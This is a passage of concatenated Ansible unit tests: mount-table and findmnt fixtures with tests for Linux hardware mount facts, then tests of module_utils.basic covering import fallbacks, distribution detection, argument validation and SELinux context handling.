        ['pstore',
         '/sys/fs/pstore',
         'pstore',
         'rw,seclabel,nosuid,nodev,noexec,relatime',
         '0',
         '0'],
        ['cgroup',
         '/sys/fs/cgroup/devices',
         'cgroup',
         'rw,nosuid,nodev,noexec,relatime,devices',
         '0',
         '0'],
        ['cgroup',
        '/sys/fs/cgroup/freezer',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,freezer',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/memory',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,memory',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/pids',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,pids',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/blkio',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,blkio',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/cpuset',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,cpuset',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/cpu,cpuacct',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,cpu,cpuacct',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/hugetlb',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,hugetlb',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/perf_event',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,perf_event',
        '0',
        '0'],
        ['cgroup',
        '/sys/fs/cgroup/net_cls,net_prio',
        'cgroup',
        'rw,nosuid,nodev,noexec,relatime,net_cls,net_prio',
        '0',
        '0'],
        ['configfs', '/sys/kernel/config', 'configfs', 'rw,relatime', '0', '0'],
        ['/dev/mapper/fedora_dhcp129--186-root',
        '/',
        'ext4',
        'rw,seclabel,relatime,data=ordered',
        '0',
        '0'],
        ['selinuxfs', '/sys/fs/selinux', 'selinuxfs', 'rw,relatime', '0', '0'],
        ['systemd-1',
        '/proc/sys/fs/binfmt_misc',
        'autofs',
        'rw,relatime,fd=24,pgrp=1,timeout=0,minproto=5,maxproto=5,direct',
        '0',
        '0'],
        ['debugfs', '/sys/kernel/debug', 'debugfs', 'rw,seclabel,relatime', '0', '0'],
        ['hugetlbfs',
        '/dev/hugepages',
        'hugetlbfs',
        'rw,seclabel,relatime',
        '0',
        '0'],
        ['tmpfs', '/tmp', 'tmpfs', 'rw,seclabel', '0', '0'],
        ['mqueue', '/dev/mqueue', 'mqueue', 'rw,seclabel,relatime', '0', '0'],
        ['/dev/loop0',
        '/var/lib/machines',
        'btrfs',
        'rw,seclabel,relatime,space_cache,subvolid=5,subvol=/',
        '0',
        '0'],
        ['/dev/sda1', '/boot', 'ext4', 'rw,seclabel,relatime,data=ordered', '0', '0'],
        # A 'none' fstype
        ['/dev/sdz3', '/not/a/real/device', 'none', 'rw,seclabel,relatime,data=ordered', '0', '0'],
        # lets assume this is a bindmount
        ['/dev/sdz4', '/not/a/real/bind_mount', 'ext4', 'rw,seclabel,relatime,data=ordered', '0', '0'],
        ['/dev/mapper/fedora_dhcp129--186-home',
        '/home',
        'ext4',
        'rw,seclabel,relatime,data=ordered',
        '0',
        '0'],
        ['tmpfs',
        '/run/user/1000',
        'tmpfs',
        'rw,seclabel,nosuid,nodev,relatime,size=1611044k,mode=700,uid=1000,gid=1000',
        '0',
        '0'],
        ['gvfsd-fuse',
        '/run/user/1000/gvfs',
        'fuse.gvfsd-fuse',
        'rw,nosuid,nodev,relatime,user_id=1000,group_id=1000',
        '0',
        '0'],
        ['fusectl', '/sys/fs/fuse/connections', 'fusectl', 'rw,relatime', '0', '0']]

BIND_MOUNTS = ['/not/a/real/bind_mount']

FINDMNT_OUTPUT = b"""
/sys                            sysfs                                sysfs           rw,nosuid,nodev,noexec,relatime,seclabel
/proc                           proc                                 proc            rw,nosuid,nodev,noexec,relatime
/dev                            devtmpfs                             devtmpfs        rw,nosuid,seclabel,size=8044400k,nr_inodes=2011100,mode=755
/sys/kernel/security            securityfs                           securityfs      rw,nosuid,nodev,noexec,relatime
/dev/shm                        tmpfs                                tmpfs           rw,nosuid,nodev,seclabel
/dev/pts                        devpts                               devpts          rw,nosuid,noexec,relatime,seclabel,gid=5,mode=620,ptmxmode=000
/run                            tmpfs                                tmpfs           rw,nosuid,nodev,seclabel,mode=755
/sys/fs/cgroup                  tmpfs                                tmpfs           ro,nosuid,nodev,noexec,seclabel,mode=755
/sys/fs/cgroup/systemd          cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd
/sys/fs/pstore                  pstore                               pstore          rw,nosuid,nodev,noexec,relatime,seclabel
/sys/fs/cgroup/devices          cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,devices
/sys/fs/cgroup/freezer          cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,freezer
/sys/fs/cgroup/memory           cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,memory
/sys/fs/cgroup/pids             cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,pids
/sys/fs/cgroup/blkio            cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,blkio
/sys/fs/cgroup/cpuset           cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,cpuset
/sys/fs/cgroup/cpu,cpuacct      cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,cpu,cpuacct
/sys/fs/cgroup/hugetlb          cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,hugetlb
/sys/fs/cgroup/perf_event       cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,perf_event
/sys/fs/cgroup/net_cls,net_prio cgroup                               cgroup          rw,nosuid,nodev,noexec,relatime,net_cls,net_prio
/sys/kernel/config              configfs                             configfs        rw,relatime
/                               /dev/mapper/fedora_dhcp129--186-root ext4            rw,relatime,seclabel,data=ordered
/sys/fs/selinux                 selinuxfs                            selinuxfs       rw,relatime
/proc/sys/fs/binfmt_misc        systemd-1                            autofs          rw,relatime,fd=24,pgrp=1,timeout=0,minproto=5,maxproto=5,direct
/sys/kernel/debug               debugfs                              debugfs         rw,relatime,seclabel
/dev/hugepages                  hugetlbfs                            hugetlbfs       rw,relatime,seclabel
/tmp                            tmpfs                                tmpfs           rw,seclabel
/dev/mqueue                     mqueue                               mqueue          rw,relatime,seclabel
/var/lib/machines               /dev/loop0                           btrfs           rw,relatime,seclabel,space_cache,subvolid=5,subvol=/
/boot                           /dev/sda1                            ext4            rw,relatime,seclabel,data=ordered
/home                           /dev/mapper/fedora_dhcp129--186-home ext4            rw,relatime,seclabel,data=ordered
/run/user/1000                  tmpfs                                tmpfs           rw,nosuid,nodev,relatime,seclabel,size=1611044k,mode=700,uid=1000,gid=1000
/run/user/1000/gvfs             gvfsd-fuse                           fuse.gvfsd-fuse rw,nosuid,nodev,relatime,user_id=1000,group_id=1000
/sys/fs/fuse/connections        fusectl                              fusectl         rw,relatime
/not/a/real/bind_mount          /dev/sdz4[/some/other/path]     ext4    rw,relatime,seclabel,data=ordered
"""


class TestFactsLinuxHardwareGetMountFacts(unittest.TestCase):

    # FIXME: mock.patch instead
    def setUp(self):
        # The @timeout tracebacks if there isn't a GATHER_TIMEOUT is None (the default until get_all_facts sets it via global)
        facts.GATHER_TIMEOUT = 10

    def tearDown(self):
        facts.GATHER_TIMEOUT = None

    # The Hardware subclasses freakout if instaniated directly, so
    # mock platform.system and inst Hardware() so we get a LinuxHardware()
    # we can test.
    @patch('ansible.module_utils.facts.LinuxHardware._mtab_entries', return_value=MTAB_ENTRIES)
    @patch('ansible.module_utils.facts.LinuxHardware._find_bind_mounts', return_value=BIND_MOUNTS)
    @patch('ansible.module_utils.facts.LinuxHardware._lsblk_uuid', return_value=LSBLK_UUIDS)
    def test_get_mount_facts(self,
                             mock_lsblk_uuid,
                             mock_find_bind_mounts,
                             mock_mtab_entries):
        module = Mock()
        # Returns a LinuxHardware-ish
        lh = facts.LinuxHardware(module=module, load_on_init=False)

        # Nothing returned, just self.facts modified as a side effect
        lh.get_mount_facts()
        self.assertIsInstance(lh.facts, dict)
        self.assertIn('mounts', lh.facts)
        self.assertIsInstance(lh.facts['mounts'], list)
        self.assertIsInstance(lh.facts['mounts'][0], dict)

    @patch('ansible.module_utils.facts.get_file_content', return_value=MTAB)
    def test_get_mtab_entries(self, mock_get_file_content):

        module = Mock()
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        mtab_entries = lh._mtab_entries()
        self.assertIsInstance(mtab_entries, list)
        self.assertIsInstance(mtab_entries[0], list)
        self.assertEqual(len(mtab_entries), 34)

    @patch('ansible.module_utils.facts.LinuxHardware._run_findmnt', return_value=(0, FINDMNT_OUTPUT,''))
    def test_find_bind_mounts(self, mock_run_findmnt):
        module = Mock()
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        bind_mounts = lh._find_bind_mounts()

        # If bind_mounts becomes another seq type, feel free to change
        self.assertIsInstance(bind_mounts, set)
        self.assertEqual(len(bind_mounts), 1)
        self.assertIn('/not/a/real/bind_mount', bind_mounts)

    @patch('ansible.module_utils.facts.LinuxHardware._run_findmnt', return_value=(37, '',''))
    def test_find_bind_mounts_non_zero(self, mock_run_findmnt):
        module = Mock()
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        bind_mounts = lh._find_bind_mounts()

        self.assertIsInstance(bind_mounts, set)
        self.assertEqual(len(bind_mounts), 0)

    def test_find_bind_mounts_no_findmnts(self):
        module = Mock()
        module.get_bin_path = Mock(return_value=None)
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        bind_mounts = lh._find_bind_mounts()

        self.assertIsInstance(bind_mounts, set)
        self.assertEqual(len(bind_mounts), 0)

    @patch('ansible.module_utils.facts.LinuxHardware._run_lsblk', return_value=(0, LSBLK_OUTPUT,''))
    def test_lsblk_uuid(self, mock_run_lsblk):
        module = Mock()
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        lsblk_uuids = lh._lsblk_uuid()

        self.assertIsInstance(lsblk_uuids, dict)
        self.assertIn(b'/dev/loop9', lsblk_uuids)
        self.assertIn(b'/dev/sda1', lsblk_uuids)
        self.assertEquals(lsblk_uuids[b'/dev/sda1'], b'32caaec3-ef40-4691-a3b6-438c3f9bc1c0')

    @patch('ansible.module_utils.facts.LinuxHardware._run_lsblk', return_value=(37, LSBLK_OUTPUT,''))
    def test_lsblk_uuid_non_zero(self, mock_run_lsblk):
        module = Mock()
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        lsblk_uuids = lh._lsblk_uuid()

        self.assertIsInstance(lsblk_uuids, dict)
        self.assertEquals(len(lsblk_uuids), 0)

    def test_lsblk_uuid_no_lsblk(self):
        module = Mock()
        module.get_bin_path = Mock(return_value=None)
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        lsblk_uuids = lh._lsblk_uuid()

        self.assertIsInstance(lsblk_uuids, dict)
        self.assertEquals(len(lsblk_uuids), 0)

    @patch('ansible.module_utils.facts.LinuxHardware._run_lsblk', return_value=(0, LSBLK_OUTPUT_2,''))
    def test_lsblk_uuid_dev_with_space_in_name(self, mock_run_lsblk):
        module = Mock()
        lh = facts.LinuxHardware(module=module, load_on_init=False)
        lsblk_uuids = lh._lsblk_uuid()
        self.assertIsInstance(lsblk_uuids, dict)
        self.assertIn(b'/dev/loop0', lsblk_uuids)
        self.assertIn(b'/dev/sda1', lsblk_uuids)
        self.assertEquals(lsblk_uuids[b'/dev/mapper/an-example-mapper with a space in the name'], b'84639acb-013f-4d2f-9392-526a572b4373')
        self.assertEquals(lsblk_uuids[b'/dev/sda1'], b'32caaec3-ef40-4691-a3b6-438c3f9bc1c0')






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# -*- coding: utf-8 -*-
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
# (c) 2016 Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import errno
import json
import os
import sys
from io import BytesIO, StringIO

try:
    import builtins
except ImportError:
    import __builtin__ as builtins

from units.mock.procenv import ModuleTestCase, swap_stdin_and_argv

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock, mock_open, Mock, call

realimport = builtins.__import__

class TestModuleUtilsBasic(ModuleTestCase):

    def clear_modules(self, mods):
        for mod in mods:
            if mod in sys.modules:
                del sys.modules[mod]

    @patch.object(builtins, '__import__')
    def test_module_utils_basic_import_syslog(self, mock_import):
        def _mock_import(name, *args, **kwargs):
            if name == 'syslog':
                raise ImportError
            return realimport(name, *args, **kwargs)

        self.clear_modules(['syslog', 'ansible.module_utils.basic'])
        mod = builtins.__import__('ansible.module_utils.basic')
        self.assertTrue(mod.module_utils.basic.HAS_SYSLOG)

        self.clear_modules(['syslog', 'ansible.module_utils.basic'])
        mock_import.side_effect = _mock_import
        mod = builtins.__import__('ansible.module_utils.basic')
        self.assertFalse(mod.module_utils.basic.HAS_SYSLOG)

    @patch.object(builtins, '__import__')
    def test_module_utils_basic_import_selinux(self, mock_import):
        def _mock_import(name, *args, **kwargs):
            if name == 'selinux':
                raise ImportError
            return realimport(name, *args, **kwargs)

        try:
            self.clear_modules(['selinux', 'ansible.module_utils.basic'])
            mod = builtins.__import__('ansible.module_utils.basic')
            self.assertTrue(mod.module_utils.basic.HAVE_SELINUX)
        except ImportError:
            # no selinux on test system, so skip
            pass

        self.clear_modules(['selinux', 'ansible.module_utils.basic'])
        mock_import.side_effect = _mock_import
        mod = builtins.__import__('ansible.module_utils.basic')
        self.assertFalse(mod.module_utils.basic.HAVE_SELINUX)

    @patch.object(builtins, '__import__')
    def test_module_utils_basic_import_json(self, mock_import):
        def _mock_import(name, *args, **kwargs):
            if name == 'json':
                raise ImportError
            elif name == 'simplejson':
                return MagicMock()
            return realimport(name, *args, **kwargs)

        self.clear_modules(['json', 'ansible.module_utils.basic'])
        mod = builtins.__import__('ansible.module_utils.basic')

        self.clear_modules(['json', 'ansible.module_utils.basic'])
        mock_import.side_effect = _mock_import
        mod = builtins.__import__('ansible.module_utils.basic')

    # FIXME: doesn't work yet
    #@patch.object(builtins, 'bytes')
    #def test_module_utils_basic_bytes(self, mock_bytes):
    #    mock_bytes.side_effect = NameError()
    #    from ansible.module_utils import basic

    @patch.object(builtins, '__import__')
    @unittest.skipIf(sys.version_info[0] >= 3, "literal_eval is available in every version of Python3")
    def test_module_utils_basic_import_literal_eval(self, mock_import):
        def _mock_import(name, *args, **kwargs):
            try:
                fromlist = kwargs.get('fromlist', args[2])
            except IndexError:
                fromlist = []
            if name == 'ast' and 'literal_eval' in fromlist:
                raise ImportError
            return realimport(name, *args, **kwargs)

        mock_import.side_effect = _mock_import
        self.clear_modules(['ast', 'ansible.module_utils.basic'])
        mod = builtins.__import__('ansible.module_utils.basic')
        self.assertEqual(mod.module_utils.basic.literal_eval("'1'"), "1")
        self.assertEqual(mod.module_utils.basic.literal_eval("1"), 1)
        self.assertEqual(mod.module_utils.basic.literal_eval("-1"), -1)
        self.assertEqual(mod.module_utils.basic.literal_eval("(1,2,3)"), (1,2,3))
        self.assertEqual(mod.module_utils.basic.literal_eval("[1]"), [1])
        self.assertEqual(mod.module_utils.basic.literal_eval("True"), True)
        self.assertEqual(mod.module_utils.basic.literal_eval("False"), False)
        self.assertEqual(mod.module_utils.basic.literal_eval("None"), None)
        #self.assertEqual(mod.module_utils.basic.literal_eval('{"a": 1}'), dict(a=1))
        self.assertRaises(ValueError, mod.module_utils.basic.literal_eval, "asdfasdfasdf")

    @patch.object(builtins, '__import__')
    def test_module_utils_basic_import_systemd_journal(self, mock_import):
        def _mock_import(name, *args, **kwargs):
            try:
                fromlist = kwargs.get('fromlist', args[2])
            except IndexError:
                fromlist = []
            if name == 'systemd' and 'journal' in fromlist:
                raise ImportError
            return realimport(name, *args, **kwargs)

        self.clear_modules(['systemd', 'ansible.module_utils.basic'])
        mod = builtins.__import__('ansible.module_utils.basic')
        self.assertTrue(mod.module_utils.basic.has_journal)

        self.clear_modules(['systemd', 'ansible.module_utils.basic'])
        mock_import.side_effect = _mock_import
        mod = builtins.__import__('ansible.module_utils.basic')
        self.assertFalse(mod.module_utils.basic.has_journal)

    def test_module_utils_basic_get_platform(self):
        with patch('platform.system', return_value='foo'):
            from ansible.module_utils.basic import get_platform
            self.assertEqual(get_platform(), 'foo')

    def test_module_utils_basic_get_distribution(self):
        from ansible.module_utils.basic import get_distribution

        with patch('platform.system', return_value='Foo'):
            self.assertEqual(get_distribution(), None)

        with patch('platform.system', return_value='Linux'):
            with patch('platform.linux_distribution', return_value=["foo"]):
                self.assertEqual(get_distribution(), "Foo")

            with patch('os.path.isfile', return_value=True):
                with patch('platform.linux_distribution', side_effect=[("AmazonFooBar",)]):
                    self.assertEqual(get_distribution(), "Amazonfoobar")

                with patch('platform.linux_distribution', side_effect=(("",), ("AmazonFooBam",))):
                    self.assertEqual(get_distribution(), "Amazon")

                with patch('platform.linux_distribution', side_effect=[("",),("",)]):
                    self.assertEqual(get_distribution(), "OtherLinux")

                def _dist(distname='', version='', id='', supported_dists=(), full_distribution_name=1):
                    if supported_dists != ():
                        return ("Bar", "2", "Two")
                    else:
                        return ("", "", "")
                
                with patch('platform.linux_distribution', side_effect=_dist):
                    self.assertEqual(get_distribution(), "Bar")
                
            with patch('platform.linux_distribution', side_effect=Exception("boo")):
                with patch('platform.dist', return_value=("bar", "2", "Two")):
                    self.assertEqual(get_distribution(), "Bar")

    def test_module_utils_basic_get_distribution_version(self):
        from ansible.module_utils.basic import get_distribution_version

        with patch('platform.system', return_value='Foo'):
            self.assertEqual(get_distribution_version(), None)

        with patch('platform.system', return_value='Linux'):
            with patch('platform.linux_distribution', return_value=("foo", "1", "One")):
                self.assertEqual(get_distribution_version(), "1")

            with patch('os.path.isfile', return_value=True):
                def _dist(distname='', version='', id='', supported_dists=(), full_distribution_name=1):
                    if supported_dists != ():
                        return ("AmazonFooBar", "2", "")
                    else:
                        return ("", "", "")

                with patch('platform.linux_distribution', side_effect=_dist):
                    self.assertEqual(get_distribution_version(), "2")

            with patch('platform.linux_distribution', side_effect=Exception("boo")):
                with patch('platform.dist', return_value=("bar", "3", "Three")):
                    self.assertEqual(get_distribution_version(), "3")

    def test_module_utils_basic_load_platform_subclass(self):
        class LinuxTest:
            pass

        class Foo(LinuxTest):
            platform = "Linux"
            distribution = None

        class Bar(LinuxTest):
            platform = "Linux"
            distribution = "Bar"

        from ansible.module_utils.basic import load_platform_subclass

        # match just the platform class, not a specific distribution
        with patch('ansible.module_utils.basic.get_platform', return_value="Linux"):
            with patch('ansible.module_utils.basic.get_distribution', return_value=None):
                self.assertIs(type(load_platform_subclass(LinuxTest)), Foo)

        # match both the distribution and platform class
        with patch('ansible.module_utils.basic.get_platform', return_value="Linux"):
            with patch('ansible.module_utils.basic.get_distribution', return_value="Bar"):
                self.assertIs(type(load_platform_subclass(LinuxTest)), Bar)

        # if neither match, the fallback should be the top-level class
        with patch('ansible.module_utils.basic.get_platform', return_value="Foo"):
            with patch('ansible.module_utils.basic.get_distribution', return_value=None):
                self.assertIs(type(load_platform_subclass(LinuxTest)), LinuxTest)

    def test_module_utils_basic_json_dict_converters(self):
        from ansible.module_utils.basic import json_dict_unicode_to_bytes, json_dict_bytes_to_unicode

        test_data = dict(
            item1 = u"Fóo",
            item2 = [u"Bár", u"Bam"],
            item3 = dict(sub1=u"Súb"),
            item4 = (u"föo", u"bär", u"©"),
            item5 = 42,
        )
        res = json_dict_unicode_to_bytes(test_data)
        res2 = json_dict_bytes_to_unicode(res)

        self.assertEqual(test_data, res2)

    def test_module_utils_basic_get_module_path(self):
        from ansible.module_utils.basic import get_module_path
        with patch('os.path.realpath', return_value='/path/to/foo/'):
            self.assertEqual(get_module_path(), '/path/to/foo')

    def test_module_utils_basic_ansible_module_creation(self):
        from ansible.module_utils import basic

        am = basic.AnsibleModule(
            argument_spec=dict(),
        )

        arg_spec = dict(
            foo = dict(required=True),
            bar = dict(),
            bam = dict(),
            baz = dict(),
        )
        mut_ex = (('bar', 'bam'),)
        req_to = (('bam', 'baz'),)

        # should test ok
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={"foo": "hello"}))

        with swap_stdin_and_argv(stdin_data=args):
            basic._ANSIBLE_ARGS = None
            am = basic.AnsibleModule(
                argument_spec = arg_spec,
                mutually_exclusive = mut_ex,
                required_together = req_to,
                no_log=True,
                check_invalid_arguments=False,
                add_file_common_args=True,
                supports_check_mode=True,
            )

        # FIXME: add asserts here to verify the basic config

        # fail, because a required param was not specified
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))

        with swap_stdin_and_argv(stdin_data=args):
            basic._ANSIBLE_ARGS = None
            self.assertRaises(
                SystemExit,
                basic.AnsibleModule,
                argument_spec = arg_spec,
                mutually_exclusive = mut_ex,
                required_together = req_to,
                no_log=True,
                check_invalid_arguments=False,
                add_file_common_args=True,
                supports_check_mode=True,
            )

        # fail because of mutually exclusive parameters
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={"foo":"hello", "bar": "bad", "bam": "bad"}))

        with swap_stdin_and_argv(stdin_data=args):
            self.assertRaises(
                SystemExit,
                basic.AnsibleModule,
                argument_spec = arg_spec,
                mutually_exclusive = mut_ex,
                required_together = req_to,
                no_log=True,
                check_invalid_arguments=False,
                add_file_common_args=True,
                supports_check_mode=True,
            )

        # fail because a param required due to another param was not specified
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={"bam": "bad"}))

        with swap_stdin_and_argv(stdin_data=args):
            self.assertRaises(
                SystemExit,
                basic.AnsibleModule,
                argument_spec = arg_spec,
                mutually_exclusive = mut_ex,
                required_together = req_to,
                no_log=True,
                check_invalid_arguments=False,
                add_file_common_args=True,
                supports_check_mode=True,
            )

    def test_module_utils_basic_ansible_module_load_file_common_arguments(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        am.selinux_mls_enabled = MagicMock()
        am.selinux_mls_enabled.return_value = True
        am.selinux_default_context = MagicMock()
        am.selinux_default_context.return_value = 'unconfined_u:object_r:default_t:s0'.split(':', 3)

        # with no params, the result should be an empty dict
        res = am.load_file_common_arguments(params=dict())
        self.assertEqual(res, dict())

        base_params = dict(
            path = '/path/to/file',
            mode = 0o600,
            owner = 'root',
            group = 'root',
            seuser = '_default',
            serole = '_default',
            setype = '_default',
            selevel = '_default',
        )

        extended_params = base_params.copy()
        extended_params.update(dict(
            follow = True,
            foo = 'bar',
        ))

        final_params = base_params.copy()
        final_params.update(dict(
            path = '/path/to/real_file',
            secontext=['unconfined_u', 'object_r', 'default_t', 's0'],
        ))

        # with the proper params specified, the returned dictionary should represent
        # only those params which have something to do with the file arguments, excluding
        # other params and updated as required with proper values which may have been
        # massaged by the method
        with patch('os.path.islink', return_value=True):
            with patch('os.path.realpath', return_value='/path/to/real_file'):
                res = am.load_file_common_arguments(params=extended_params)
                self.assertEqual(res, final_params)

    def test_module_utils_basic_ansible_module_selinux_mls_enabled(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        basic.HAVE_SELINUX = False
        self.assertEqual(am.selinux_mls_enabled(), False)

        basic.HAVE_SELINUX = True
        basic.selinux = Mock()
        with patch.dict('sys.modules', {'selinux': basic.selinux}):
            with patch('selinux.is_selinux_mls_enabled', return_value=0):
                self.assertEqual(am.selinux_mls_enabled(), False)
            with patch('selinux.is_selinux_mls_enabled', return_value=1):
                self.assertEqual(am.selinux_mls_enabled(), True)
        delattr(basic, 'selinux')

    def test_module_utils_basic_ansible_module_selinux_initial_context(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        am.selinux_mls_enabled = MagicMock()
        am.selinux_mls_enabled.return_value = False
        self.assertEqual(am.selinux_initial_context(), [None, None, None])
        am.selinux_mls_enabled.return_value = True
        self.assertEqual(am.selinux_initial_context(), [None, None, None, None])

    def test_module_utils_basic_ansible_module_selinux_enabled(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        # we first test the cases where the python selinux lib is
        # not installed, which has two paths: one in which the system
        # does have selinux installed (and the selinuxenabled command
        # is present and returns 0 when run), or selinux is not installed
        basic.HAVE_SELINUX = False
        am.get_bin_path = MagicMock()
        am.get_bin_path.return_value = '/path/to/selinuxenabled'
        am.run_command = MagicMock()
        am.run_command.return_value=(0, '', '')
        self.assertRaises(SystemExit, am.selinux_enabled)
        am.get_bin_path.return_value = None
        self.assertEqual(am.selinux_enabled(), False)

        # finally we test the case where the python selinux lib is installed,
        # and both possibilities there (enabled vs. disabled)
        basic.HAVE_SELINUX = True
        basic.selinux = Mock()
        with patch.dict('sys.modules', {'selinux': basic.selinux}):
            with patch('selinux.is_selinux_enabled', return_value=0):
                self.assertEqual(am.selinux_enabled(), False)
            with patch('selinux.is_selinux_enabled', return_value=1):
                self.assertEqual(am.selinux_enabled(), True)
        delattr(basic, 'selinux')

    def test_module_utils_basic_ansible_module_selinux_default_context(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        am.selinux_initial_context = MagicMock(return_value=[None, None, None, None])
        am.selinux_enabled = MagicMock(return_value=True)

        # we first test the cases where the python selinux lib is not installed
        basic.HAVE_SELINUX = False
        self.assertEqual(am.selinux_default_context(path='/foo/bar'), [None, None, None, None])

        # all following tests assume the python selinux bindings are installed
        basic.HAVE_SELINUX = True

        basic.selinux = Mock()

        with patch.dict('sys.modules', {'selinux': basic.selinux}):
            # next, we test with a mocked implementation of selinux.matchpathcon to simulate
            # an actual context being found
            with patch('selinux.matchpathcon', return_value=[0, 'unconfined_u:object_r:default_t:s0']):
                self.assertEqual(am.selinux_default_context(path='/foo/bar'), ['unconfined_u', 'object_r', 'default_t', 's0'])

            # we also test the case where matchpathcon returned a failure
            with patch('selinux.matchpathcon', return_value=[-1, '']):
                self.assertEqual(am.selinux_default_context(path='/foo/bar'), [None, None, None, None])

            # finally, we test where an OSError occurred during matchpathcon's call
            with patch('selinux.matchpathcon', side_effect=OSError):
                self.assertEqual(am.selinux_default_context(path='/foo/bar'), [None, None, None, None])

        delattr(basic, 'selinux')

    def test_module_utils_basic_ansible_module_selinux_context(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        am = basic.AnsibleModule(
            argument_spec = dict(),
        )

        am.selinux_initial_context = MagicMock(return_value=[None, None, None, None])
        am.selinux_enabled = MagicMock(return_value=True)

        # we first test the cases where the python selinux lib is not installed
        basic.HAVE_SELINUX = False
        self.assertEqual(am.selinux_context(path='/foo/bar'), [None, None, None, None])

        # all following tests assume the python selinux bindings are installed
        basic.HAVE_SELINUX = True

        basic.selinux = Mock()

        with patch.dict('sys.modules', {'selinux': basic.selinux}):
            # next, we test with a mocked implementation of selinux.lgetfilecon_raw to simulate
            # an actual context being found
            with patch('selinux.lgetfilecon_raw', return_value=[0, 'unconfined_u:object_r:default_t:s0']):
                self.assertEqual(am.selinux_context(path='/foo/bar'), ['unconfined_u', 'object_r', 'default_t', 's0'])

            # we also test the case where matchpathcon returned a failure
            with patch('selinux.lgetfilecon_raw', return_value=[-1, '']):
                self.assertEqual(am.selinux_context(path='/foo/bar'), [None, None, None, None])

            # finally, we test where an OSError occurred during matchpathcon's call
            e = OSError()
            e.errno = errno.ENOENT
            with patch('selinux.lgetfilecon_raw', side_effect=e):
                self.assertRaises(SystemExit, am.selinux_context, path='/foo/bar')

            e = OSError()
            with patch('selinux.lgetfilecon_raw', side_effect=e):
                self.assertRaises(SystemExit, am.selinux_context, path='/foo/bar')

        delattr(basic, 'selinux')

    def test_module_utils_basic_ansible_module_is_special_selinux_path(self):
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = None

        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={'_ansible_selinux_special_fs': "nfs,nfsd,foos"}))

        with swap_stdin_and_argv(stdin_data=args):

            am = basic.AnsibleModule(
                argument_spec = dict(),
            )

            def _mock_find_mount_point(path):
                if path.startswith('/some/path'):
                    return '/some/path'
                elif path.startswith('/weird/random/fstype'):
                    return '/weird/random/fstype'
                return '/'

            am.find_mount_point = MagicMock(side_effect=_mock_find_mount_point)
            am.selinux_context = MagicMock(return_value=['foo_u', 'foo_r', 'foo_t', 's0'])

            m = mock_open()
            m.side_effect = OSError

            with patch.object(builtins, 'open', m, create=True):
